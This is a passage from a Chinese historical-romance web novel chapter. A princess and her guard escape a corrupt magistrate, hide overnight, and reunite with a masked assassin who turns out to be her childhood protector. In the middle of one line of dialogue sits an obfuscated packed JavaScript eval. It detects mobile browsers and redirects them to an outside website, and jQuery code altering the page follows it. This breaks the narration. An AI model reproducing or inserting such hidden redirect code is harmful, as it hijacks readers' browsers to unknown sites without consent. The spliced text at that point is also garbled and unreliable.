算了,一不做二不休。就算是公主,死了那也没人会知道。县令不敢赌了,这个村子的事但凡泄露一二,他这顶乌纱帽算是彻底玩完了,命也要搭进去。
“来人,给我拿下!此人冒充公主,罪无可恕!”
元帝浣冷笑:“既然你们死不回头,那就怪不得我了!”
她这话语气坚定,让跃跃动手的衙役都有点怯步,县令见状,连声咒骂。
司惟心底嘀咕,难不成是路潇他们到了?可是他怎么一点消息都没有听到?就在他满心疑惑时,元帝浣在他耳畔轻声说了一句让他惊慌失措的话。
“跑!”
司惟几乎是顿在原地的,但他的手不知何时被拉上了,赶在县令一行人反应过来之前,二人撒腿跑远了。他跟在元帝浣身后,视线落在她张扬明媚的笑意后,总感觉很不真实。
刚才的村子地处洼地,算是在山谷之间引出来自然而然发展而成的山村。元帝浣看见一处半山腰的茅屋,径直就走了进去,手上也始终牵着司惟早已经润湿的手。
“这里应该是猎户歇脚的地儿,他们暂时应该不会找到。”
元帝浣自然地松手,在一个木桩前坐下,饶有趣味地复盘道:“刚才?怎么样?爽不爽?”
这话问的他有些惘然,在他印象里,元帝浣可不是这么开朗明媚,随意洒脱的性子,倒像是突然受了什么刺激一样。
“挺……刺激的。”他木讷回复。
从前传闻三公主元帝浣性格孤傲,不近人情,甚至坊间还传闻她不顾亲情,就是为了争夺那至尊之位。可是眼前的元帝浣,在他看来,不过就是一个至纯至性的女子。
“你刚才是想吓唬吓唬他们?为什么?”
元帝浣脸上洋溢着笑意,“不为什么,就是单纯想抓弄抓弄他们,这些禽兽,就是下地狱也不足以抵消他们的罪过。实话告诉你吧,这些冤死的百姓如果没有一个人站出来给他们翻案,就是全部死了也不会对朝廷有什么影响,别人只会笑笑说他们的运气真不好,怎么就被屠村了呢。”这话说得轻松,但他却读出了一种辛酸。
“你知道现在最凶猛的鸟是什么吗?”
元帝浣犹豫道:“最凶猛……重明鸟?”
“聪明!重明鸟是中国古代神话传说里的神鸟,加上两个眼眶都有两个眼珠,所以被称为重明鸟。世人觉得它凶猛,一是因为它有神话传说在前,重明加持在后,但实际上这些都不是它被公认为最凶猛的鸟的原因,真正的原因是,它本身的力气之大。”司惟坚定道。
元帝浣疑惑道:“可是我又不是重明鸟,又不能一下子飞过去和他们搏斗,我只是一个普通人,一个被权势牵引,被世俗牵绊的普通人。你别看我是公主,其实这些都不是真的,褪去这些我一无所有。那座高耸如云,富丽堂皇的宫殿其实也不是为我而存在。我以前也相信尽力就会有奇迹,直到我精疲力尽,但是看见别人不费吹灰之力地谈笑风生。”
司惟走到她前面,蹲下来抬头对她说:“我的意思是,你不必看过去,也不必看未来,奇迹确实很难发生,但如果不去努力,重明鸟又怎么能知道自己有力气上的优势呢?”
优势?好熟悉的词,她心里想着,当初她离宫之时,好像也是这么意气风发的,可是一路走到现在,她才彻底看清如今的形势。这也让她一次又一次地陷入迷茫,这条她曾坚定的路,如今多了许多的不确定。这些天她一直在追问自己,到底要不要继续坚持,她始终没有找到答案。
“行了,我知道你的意思。”元帝浣说完这话,忽然又想起什么,接着问:“不过,你……”
“我什么?”司惟一脸真诚问。
“没……没什么。”二人四目相对,元帝浣顿了顿半悬在空中的手,若无其事地收回。
司惟分明一副普通侍卫的装扮,怎么感觉这人瞬间靠谱起来了,她想不通。果然,自己以前还是很有眼光的,这人现在看着倒也不是那么差劲,除了不喜欢自己这一个缺点之外,各方面都不错。
那一夜,长夜漫漫,茅屋上滴滴哒哒的雨声如同一首美妙的曲子,在无声里尽情演奏。
阳光一出来,元帝浣就醒了。她的眼睛受不了阳光的直射,而这茅屋正巧斜照在她的身上。全身已经开始酸痛了,感觉身上痒痒的,要是在不洗澡,她感觉自己都要发霉了。
转头一看,司惟还是睡着。先去找个有水的地方解决洗一下吧,她心想。绕过茅屋后,就是一大片的林子,从水流的流向来看,林子后面应该有湖才对。
她走了许久,终于找到了一处可以沐浴的地方,而且这里四处安静,草木丛生,怎么看都不像是会有人来打扰的地方。就这儿了,她心想。
解开衣服,她小心翼翼地靠近那湖水,倚靠在湖边上就洗了起来。这样的山涧和湖水,她已经有十几年没有感受过了,当初也是这样大的一个湖,让她从无人在意的刺客一跃成为金枝玉叶的公主。细细想来,她的人生真是精彩。
洗好后,她快速将衣服穿好,此时才注意到不远处闪过的一个身影,她看的不清晰,但从身影来看,有点像那天和她交手的刺客。她不再停留,快步返回来茅屋,看见刚从睡梦中惊醒的司惟,她连忙走近,附耳将刚才的猜想相告。
“不能吧?这么邪门,这都能遇上?”
“我觉得不是遇上,而是他一直跟着我们。”
司惟几乎要喊出来,幸好元帝浣及时捂住了他的嘴巴。
司惟压低声音道:“他一个杀手,跟着我们,又不动手,他求什么啊?”
“这也是我没想明白的。”
司惟灵光一现,“要不演一场戏?”
元帝浣嫌弃道:“什么?”
……
二人一前一后下山,元帝浣边走边骂,“你以为我愿意带着你?要不是刚好和你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835727|175671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
凑在一起了?谁稀罕你跟着,我是谁,我可是公主,随便抬抬手,倾慕追捧我的人都能排遍整个京城。”
此时的司惟在不远处看着前面的元帝浣,这条路在山壁上,悬着重石而行,司惟跟在很后面,视线环顾四周,试图找出那个所谓的刺客,但山野草木众多,可藏身的暗处太多了,他也看得眼花缭乱。
元帝浣骂了好半天了,司惟也跟了老半天了,但始终没有看见刺客的身影。就在元帝浣自己都怀疑自己刚才是不是眼花看错了时,一个脚滑,她险些倒向那悬崖峭壁之际,一个身影突然出现,一把将她拉了回来。但下一秒,他就松开了元帝浣,准备离开。
司惟疾步上前,及时拦下了那人。
“说!你是谁!跟着我们到底有什么目的?”司惟厉声道。
元帝浣缓缓上前,略微颤抖着问:“月末?是你吗?”
那人蒙着脸,手上拿剑的手闪过一丝不自然,但很快就藏了起来。他没有回答,视线始终低着头看着地上,意识到元帝浣的走近,他像是下定了决心,就要上前一把推开司惟,却被元帝浣下面的一句话叫住了。
“你就连见我一面都不愿意了吗?月末……哥哥?”元帝浣试探性道。
这“哥哥”一出,司惟的直接瞳孔地震。他怎么不知道元帝浣还有哥哥?皇室难不成还有流落在外的私生子?虽然知道皇室的人都玩的开,但也不至于哪里都有哥哥吧。
在元帝浣的注视下,那人微微侧过身子,摘下了面具,面具下的那张脸就是她一直在找的月末,虽然多了胡子合沧桑,可是这张从小就对她照顾有加的脸,她怎么也不会忘记。她早该想到的,从他们的第一次见面,她就该想到的。
“月末哥哥!”
“公主!”
元帝浣冲上前,一下子就抱住了他,看着他们相拥而泣的场面,司惟的心里很不是滋味,但脸上还是坚强地残留着笑意。
“这位是?”司惟见二人心情平静不少,才问。
“哦对了,月末哥哥,这是司惟,你见过的。”
“?”司惟疑惑,他们什么时候见过?
元帝浣忽然意识到说错话了,就在她想怎么补救时,月末说:“见过了,小兄弟身手不错。”
这话侮辱性极大,司惟不会武功,先前他们的交集就是打和被打的关系。
“哦对了,月末哥哥,你怎么在这?暗影阁的其他人呢?你们怎么突然就没有消息了?到底出了什么事?”元帝浣一口气追问了四个问题,但月末似乎一个都回答不上来,从他欲言又止的脸上,她嗅到了不好的消息。
司惟打趣说:“要不然我们先下山吧?在悬崖边说话怪危险的。”
月末没接话,但心底也认同。可是元帝浣见他这样的神色,已经猜到了七八分,明显是要知道答案才肯罢休的节奏。
“说!”
“他们……都没了。”